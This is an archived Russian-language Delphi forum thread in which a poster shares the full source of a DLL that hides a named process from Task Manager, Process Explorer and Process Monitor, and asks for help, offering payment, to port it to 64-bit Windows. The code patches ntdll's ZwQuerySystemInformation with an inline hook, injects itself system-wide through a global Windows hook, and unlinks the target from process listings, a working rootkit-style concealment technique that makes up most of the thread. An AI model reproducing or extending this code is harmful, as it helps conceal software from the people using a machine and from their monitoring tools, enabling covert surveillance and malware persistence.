Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2013.03.22;
Скачать: [xml.tar.bz2];

Вниз

перехват native api в 64bit Windows...   Найти похожие ветки 

 
istok20 ©   (2009-06-24 00:48) [0]

есть у меня такая либа, которая скрывает любой процесс из диспетчера задач и других программ. проблема в том, что она не работает в 64битных виндах.  вопрос - как ее подружить с 64битными ОС Windows?


library prtct;

uses
 Windows,
 NativeAPI,
 ThreadStopper;

type
OldCode = packed record
 One: dword;
 two: word;
end;

far_jmp = packed record
 PuhsOp: byte;
 PushArg: pointer;
 RetOp: byte;
end;

var
 Hook: HHOOK;
 JmpZwq: far_jmp;
 OldZwq: OldCode;
 PtrZwq: pointer;
 FIsTM: Boolean;

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @OldZwq, SizeOf(OldCode), Written);

 Result := ZwQuerySystemInformation(ASystemInformationClass,
                                    ASystemInformation,
                                    ASystemInformationLength,
                                    AReturnLength);

 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @JmpZwq, SizeOf(far_jmp), Written);
end;

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                       ASystemInformation,
                                       ASystemInformationLength,
                                       AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
   (Result = STATUS_SUCCESS) then
 begin
   Prev := ASystemInformation;
   Info := ASystemInformation;
   while Info^.NextEntryDelta <> 0 do
   begin
     Info := Pointer(dword(Info) + Info^.NextEntryDelta);
     if (lstrcmpiw(Info^.ProcessName.Buffer, "myprogram.exe") = 0)  then
     begin
       if Info^.NextEntryDelta = 0 then
         Prev^.NextEntryDelta := 0
       else
         Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
     end
     else
       Prev := Info;
   end;
 end;
end;

function IsTM: Boolean;
var
 WndFound: Boolean;
 rslt: boolean;

 function AnalyzeWnd(CurHandle: THandle; CurrentProcessId: LParam): Boolean; stdcall;
 var
   WndProcId: Cardinal;
   Buffer : array[0..255] of Char;
 begin
   Result := True;
   GetWindowThreadProcessId(CurHandle, WndProcId);

   if LParam(WndProcId) = CurrentProcessId then
   begin
     FillChar(Buffer, 256, 0);
     GetClassName(CurHandle, @Buffer[0], 255);

     if (Buffer = "#32770") or (Buffer = "PROCEXPL") or (Buffer = "PROCMON_WINDOW_CLASS") then
     begin
       WndFound := True;
       //&#239;&#240;&#229;&#234;&#240;&#224;&#249;&#224;&#229;&#236; Enum
       Result := False;
     end;  
   end;
 end;

begin

 WndFound := False;
 rslt := EnumWindows(@AnalyzeWnd, GetCurrentProcessId);
 Result := not rslt;
end;

type
TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; StdCall;

procedure WriteProcessMemory2(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD);
var
LibHandle  : THandle;
RunWriteProcessMemory: TWriteProcessMemory;
begin
// Attempt to load the DLL
LibHandle := LoadLibrary("KERNEL32.DLL");
try
 // If the load failed, LibHandle will be zero.
 // If this occurs, raise an exception.
 if LibHandle = 0 then Exit;
//   raise EDLLLoadError.Create("Unable to Load DLL");
 // If the code makes it here, the DLL loaded successfully; now obtain
 // the link to the DLL"s exported function so that it can be called.
 @RunWriteProcessMemory := GetProcAddress(LibHandle, "WriteProcessMemory");
 // If the function is imported successfully, then set
 // lblDate.Caption to reflect the returned date from
 // the function. Otherwise, show the return raise an exception.
 if not (@RunWriteProcessMemory = nil) then
  RunWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
//  else
//   RaiseLastWin32Error;
finally
 FreeLibrary(LibHandle); // Unload the DLL.
end;
end;

Procedure SetHook();
var
Bytes: dword;
begin
 PtrZwq  := GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
 ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
 JmpZwq.PuhsOp  := $68;
 JmpZwq.PushArg := @NewZwQuerySystemInformation;
 JmpZwq.RetOp   := $C3;
 WriteProcessMemory2(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
Bytes: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;

function MessageProc(code : integer; wParam : longint; lParam : longint) : longint; stdcall; export;
begin
 Result := CallNextHookEx(0, Code, wParam, lparam);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
 if not FIsTM then Exit;
 case dwReason of
   DLL_PROCESS_ATTACH: begin
                         //SetGlobalHook();
                         StopThreads;
                         SetHook();
                         RunThreads;
                       end;
   DLL_PROCESS_DETACH: begin
                         StopThreads;
                         Unhook();
                         RunThreads;
                       end;
 end;
end;

procedure GlobalHook; export;
begin
 Hook:=SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
end;

procedure GlobalUnhook;export;
begin
 UnhookWindowsHookEx(Hook);
end;

exports
 GlobalHook, GlobalUnhook;

begin
 FIsTM := IsTM;
 DllProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.


 
brother ©   (2009-06-24 05:40) [1]

переписать под x64?


 
Игорь ©   (2009-06-24 09:24) [2]

Копай сюда

http://msdn.microsoft.com/en-us/library/aa384249(VS.85).aspx


 
istok20 ©   (2009-06-24 12:57) [3]


> переписать под x64?

это только из-под VisualStudio или и в delphi как-то реально под 64бита скомпилить?


 
brother ©   (2009-06-24 14:17) [4]

> под 64бита скомпилить?

я говорил о переписать)


 
DVM ©   (2009-06-24 19:45) [5]


> и в delphi как-то реально под 64бита скомпилить?

FreePascal может


 
istok20 ©   (2009-11-30 18:29) [6]

угу, перевели в FreePascal, компилит (в lazarus), грузит, но там очевидно надо править start\stop threads и writetoprocessmemory под 64бита,

буду рад если кто-то отклинется пофиксить (или переписать в любой другой среде) код за оплату.

можете писать сюда - alex_for_chat@mail.ru - вышлю тестовый проект.

спасибо


 
Игорь Шевченко ©   (2009-11-30 19:45) [7]


> есть у меня такая либа, которая скрывает любой процесс из
> диспетчера задач


Тайное всегда становится явным. Найдут и больно надерут ремнем.


 
istok20 ©   (2009-11-30 20:17) [8]


> Игорь Шевченко ©   (30.11.09 19:45) [7]


это реквест клиента, чьи сотрудники работают на компьютерах, являющихся собственностью компании. более того, сотрудники об этих процессах знают. так что ничего криминального)


 
Anatoly Podgoretsky ©   (2009-12-01 08:55) [9]

> istok20  (30.11.2009 20:17:08)  [8]

Административны задачи наиболее эффективно решаются административными методами.


 
istok20 ©   (2009-12-01 13:01) [10]


> Anatoly Podgoretsky ©   (01.12.09 08:55) [9]
> > istok20  (30.11.2009 20:17:08)  [8]
>
> Административны задачи наиболее эффективно решаются административными
> методами.


они их решают и административно тоже, но очень хотят чтобы сотрудник не имел возможности "мухлевать" и отключать процессы приложения..

я понимаю, что здесь есть доля паранойи, но моё дело сделать и продать то, на что есть спрос, а не переубеждать клиента)

вобщем, если у кого есть идеи как это сделать, пишите на alex_for_chat@mail.ru, договоримся.

спасибо.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2013.03.22;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.49 MB
Время: 0.059 c
2-1335212783
vegarulez
2012-04-24 00:26
2013.03.22
[named pipes] Как?


6-1251381307
Student85236
2009-08-27 17:55
2013.03.22
Уважвемые коллеги! как сделать чтоб не ждать ответа от get запрос


15-1334867402
Юрий
2012-04-20 00:30
2013.03.22
С днем рождения ! 20 апреля 2012 пятница


2-1343506606
3asys
2012-07-29 00:16
2013.03.22
Получение директории программы


15-1330763551
Дмитрий
2012-03-03 12:32
2013.03.22
Добавление компонент на форму





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский